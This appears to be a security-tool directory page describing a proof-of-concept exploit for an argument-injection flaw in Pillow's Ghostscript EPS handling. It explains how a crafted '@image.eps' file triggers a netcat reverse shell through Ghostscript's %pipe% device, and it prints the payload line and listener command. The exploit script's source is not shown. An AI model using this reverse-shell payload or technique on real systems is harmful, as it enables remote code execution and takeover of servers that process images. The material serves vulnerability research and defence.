Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/kavin-jindal/cve-2026-112900-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubkavin-jindal/cve-2026-112900-poc

CVE-2026-112900-PoC

Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).

Share
View Repository
226 days agoNot yet reviewed

Pillow Ghostscript Argument Injection PoC (CVE-2026-112900)

Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).

Read the detailed breakdown of the CVE on Avyukt Security here

Vulnerability Details

  • CVE ID: CVE-2026-112900
  • Advisory: GHSA-w889-685w-c8fh
  • Affected Component: EPS file handling via Ghostscript in Pillow (PIL.Image)
  • Vulnerable Versions: < 13.0.0
  • Tested on: Linux-7.1.5 (Kali Linux)
  • Original Reporter: HLe4s-kaist

Description

In vulnerable versions of Pillow (< 13.0.0), passing an EPS filename beginning with an @ sign or hyphenated flags can cause Ghostscript to treat the filename as an option or an argument-file (@filename) directive. When combined with Ghostscript command-line switches like -sOutputFile=%pipe%..., this can allow argument injection and arbitrary code execution upon loading the image via Image.open().load().

Payload Mechanism

The script uses a two-stage file creation and Ghostscript's %pipe% device command execution:

  1. Argument Reference (@image.eps): Creates @image.eps with valid EPS headers. When opened by Pillow, Ghostscript interprets the leading @ as an argument file directive instructing it to read command options from image.eps.
  2. Reverse Shell Injection (image.eps): Writes Ghostscript directives setting -sOutputFile=%pipe%... with the payload:
    nc${IFS}<IP>${IFS}<PORT>${IFS}-e${IFS}/usr/bin/sh
    
    ${IFS} is used to avoid space-delimited argument-parsing breakage. When im.load() invokes Ghostscript, the %pipe% handler executes the Netcat command and spawns a reverse shell back to the listener.

Usage

  1. Configure Listener & Target: Edit poc.py with your listening IP and port:

    IP = "YOUR_IP"
    PORT = "YOUR_PORT"
    
  2. Start a Netcat listener on your machine:

    nc -lvnp <YOUR_PORT>
    
  3. Run the PoC:

    python poc.py
    

Disclaimer

This repository and script are created for educational and defensive security research purposes only. Unauthorized testing against target systems without prior mutual consent is strictly illegal. The author assumes no liability for misuse or damage caused by this program.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    926
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    699
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    428
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    397
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    347
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    337

Explore all tools

Browse our collection of tools

View all tools →